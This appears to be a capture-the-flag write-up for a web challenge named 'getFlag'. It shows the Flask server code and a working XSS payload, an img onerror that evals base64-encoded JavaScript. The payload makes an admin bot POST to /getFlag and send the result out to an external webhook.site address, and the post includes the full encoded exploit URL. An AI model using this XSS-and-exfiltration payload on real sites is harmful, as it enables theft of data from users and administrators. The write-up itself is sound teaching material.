getFlag

Posted on Apr 11, 2024

This challenge was available at http://6b.vc:9003. Its source was available: getFlag.tar.gz

It is very similar to babyXSS. The XSS vulnerability is the same, but:

@app.route('/')
def index():
    return render_template('index.html')    

@app.route('/getFlag', methods=['GET', 'POST'])
def getFlag():
    if request.remote_addr != '127.0.0.1':
        return 'Error: Access Denied!'
    if request.method != 'POST':
        return 'Error: Invalid Method!'
    if request.json.get('giveMe') != 'theFlag':
        return 'Error: Invalid Request!'
    return FLAG

@app.route('/report')
def report_url():
    url = request.args.get('url')

    if url:
        result = visit_url_with_bot(url)
        return result
    else:
        return 'Error: No URL provided!'

We learn that the flag is not stored in localStorage, but rather accessible through an API. We need to make the admin bot make a request to /getFlag, with the correct params to get the flag.

I will just modify the payload from the previous challenge.

const code = `fetch("/getFlag", {
    method: "POST",
    headers: {
        "Content-Type": "application/json"
    },
    body: JSON.stringify({giveMe: "theFlag"})
}).then(res => res.text())
.then(flag => {
    location.href = "https://webhook.site/40a6771d-b79d-4ea5-bbb3-df68cdcf56b7?"+encodeURI(btoa(flag))
})`
const payload = `<img src=x onerror="eval(atob('${btoa(code)}'))">`
console.log(`http://6b.vc:9003/?search=${encodeURIComponent(payload)}`)

Solution

The following link will make the bot send us the flag.

http://localhost:9003/?search=%3Cimg%20src%3Dx%20onerror%3D%22eval(atob('ZmV0Y2goIi9nZXRGbGFnIiwgewogICAgbWV0aG9kOiAiUE9TVCIsCiAgICBoZWFkZXJzOiB7CiAgICAgICAgIkNvbnRlbnQtVHlwZSI6ICJhcHBsaWNhdGlvbi9qc29uIgogICAgfSwKICAgIGJvZHk6IEpTT04uc3RyaW5naWZ5KHtnaXZlTWU6ICJ0aGVGbGFnIn0pCn0pLnRoZW4ocmVzID0%2BIHJlcy50ZXh0KCkpCi50aGVuKGZsYWcgPT4gewogICAgbG9jYXRpb24uaHJlZiA9ICJodHRwczovL3dlYmhvb2suc2l0ZS80MGE2NzcxZC1iNzlkLTRlYTUtYmJiMy1kZjY4Y2RjZjU2Yjc%2FIitlbmNvZGVVUkkoYnRvYShmbGFnKSkKfSk%3D'))%22%3E

We can trigger the /report endpoint by either using curl or by using the following javascript code in the browser’s console.

fetch("/report?url="+encodeURIComponent("http://localhost:9003/?search=%3Cimg%20src%3Dx%20onerror%3D%22eval(atob('ZmV0Y2goIi9nZXRGbGFnIiwgewogICAgbWV0aG9kOiAiUE9TVCIsCiAgICBoZWFkZXJzOiB7CiAgICAgICAgIkNvbnRlbnQtVHlwZSI6ICJhcHBsaWNhdGlvbi9qc29uIgogICAgfSwKICAgIGJvZHk6IEpTT04uc3RyaW5naWZ5KHtnaXZlTWU6ICJ0aGVGbGFnIn0pCn0pLnRoZW4ocmVzID0%2BIHJlcy50ZXh0KCkpCi50aGVuKGZsYWcgPT4gewogICAgbG9jYXRpb24uaHJlZiA9ICJodHRwczovL3dlYmhvb2suc2l0ZS80MGE2NzcxZC1iNzlkLTRlYTUtYmJiMy1kZjY4Y2RjZjU2Yjc%2FIitlbmNvZGVVUkkoYnRvYShmbGFnKSkKfSk%3D'))%22%3E"))

We receive the flag on the webhook:

flag{Here I1 gave you The Flag!}